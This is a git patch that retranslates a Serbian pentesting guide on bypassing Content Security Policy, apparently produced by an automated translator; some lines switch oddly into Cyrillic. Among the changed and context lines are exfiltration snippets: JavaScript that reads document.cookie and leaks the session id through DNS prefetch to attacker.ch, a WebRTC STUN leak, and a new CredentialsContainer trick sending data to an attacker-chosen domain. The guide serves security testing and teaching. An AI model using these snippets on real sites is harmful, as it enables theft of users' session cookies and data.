From 50fbaa31022eb213dd3d5b36427caa0b92d63aab Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 15:22:39 +0000 Subject: [PATCH] Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM --- .../README.md | 99 +++++++++++-------- 1 file changed, 56 insertions(+), 43 deletions(-) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index de097a4a1..76f10d825 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -18,9 +18,9 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ``` ### Headers -CSP se može primeniti ili pratiti koristeći ove heder-e: +CSP može biti primenjen ili praćen korišćenjem ovih zaglavlja: -- `Content-Security-Policy`: Primorava CSP; pregledač blokira sve prekršaje. +- `Content-Security-Policy`: Primena CSP; pregledač blokira sve prekršaje. - `Content-Security-Policy-Report-Only`: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima. ### Defining Resources @@ -39,9 +39,9 @@ object-src 'none'; ``` ### Direktive -- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute od strane event handler-a ili XSLT stilskih listova. +- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događajima ili XSLT stilovi. - **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične direktive za preuzimanje nisu prisutne. -- **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima. +- **child-src**: Specifikuje dozvoljene resurse za web radnike i sadržaj u ugnježdenim okvirima. - **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest. - **frame-src**: Ograničava URL-ove za okvire. - **frame-ancestors**: Specifikuje koji izvori mogu ugnježditi trenutnu stranicu, primenljivo na elemente kao što su ``, ` // The bot will load an URL with the payload @@ -548,7 +548,7 @@ Za više informacija [**proverite originalni izveštaj ovde**](https://socradar. ### CSP bypass by restricting CSP -U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**. +U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**. Možete **ograničiti CSP iframe-a** sa **`csp`** atributom: ```html @@ -556,8 +556,8 @@ Možete **ograničiti CSP iframe-a** sa **`csp`** atributom: src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` -U [**ovoj CTF analizi**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injekcije** da se **ograniči** više **CSP** tako da je skripta koja sprečava CSTI onemogućena i stoga je **ranjivost postala iskoristiva.**\ -CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova** i inline skripte se mogu onemogućiti **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanjem specifične inline skripte putem sha**: +U [**ovoj CTF analizi**](https://github.com/aszx87410/ctf-writeups/issues/48), bilo je moguće putem **HTML injekcije** da se **ograniči** više **CSP**, tako da je skripta koja sprečava CSTI onemogućena i stoga je **ranjivost postala iskoristiva.**\ +CSP se može učiniti restriktivnijim korišćenjem **HTML meta tagova**, a inline skripte se mogu onemogućiti **uklanjanjem** **unosa** koji omogućava njihov **nonce** i **omogućavanjem specifične inline skripte putem sha**: ```html ` -Možete zloupotrebiti ovo ponašanje da **izvršite eksfiltraciju osetljivih informacija putem DNS zahteva**: +Možete zloupotrebiti ovo ponašanje da **izvršite exfiltraciju osetljivih informacija putem DNS zahteva**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -662,7 +662,7 @@ body.innerHTML + sessionid + 'attacker.ch">' ``` -Drugi način: +Još jedan način: ```javascript const linkEl = document.createElement("link") linkEl.rel = "prefetch" @@ -674,13 +674,13 @@ Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje: X-DNS-Prefetch-Control: off ``` > [!NOTE] -> Očigledno, ova tehnika ne funkcioniše u headless pretraživačima (botovima) +> Очигледно, ова техника не ради у безглавим прегледачима (ботовима) ### WebRTC -Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a. +На неколико страница можете прочитати да **WebRTC не проверава `connect-src` политику** CSP-а. -U stvari, možete _leak_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod: +У ствари, можете _leak_ информације користећи _DNS захтев_. Погледајте овај код: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -700,7 +700,20 @@ var pc = new RTCPeerConnection({ }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` -## Proveravanje CSP politika online +### CredentialsContainer + +Popup za kredencijale šalje DNS zahtev ka iconURL bez ograničenja od strane stranice. Radi samo u sigurnom kontekstu (HTTPS) ili na localhost-u. +```javascript +navigator.credentials.store( +new FederatedCredential({ +id:"satoki", +name:"satoki", +provider:"https:"+your_data+"example.com", +iconURL:"https:"+your_data+"example.com" +}) +) +``` +## Provera CSP politika online - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)